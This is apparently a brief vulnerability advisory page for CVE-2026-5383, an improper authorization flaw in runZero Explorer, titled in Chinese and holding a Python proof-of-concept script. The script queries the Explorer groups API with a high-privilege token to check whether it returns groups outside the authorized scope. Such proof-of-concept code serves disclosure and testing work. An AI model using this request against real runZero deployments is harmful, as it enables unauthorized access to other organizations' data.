CVE-2026-5383 runZero Explorer不正确的授权漏洞

import requests # CVE-2026-5383 PoC Concept # This script demonstrates the potential to access Explorer groups outside the authorized scope. # Note: Exploitation requires High Privileges (PR:H) and specific vulnerable conditions. target_url = "https://<target-host>/api/v1/explorer/groups" attacker_token = "<HIGH_PRIVILEGE_TOKEN>" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json", "User-Agent": "CVE-2026-5383-Test" } # In a vulnerable version, this request might return groups from outside the user's organization scope # due to incorrect authorization checks (CWE-863). try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Request successful. Check returned data for unauthorized groups.") print(f"[+] Response: {data}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")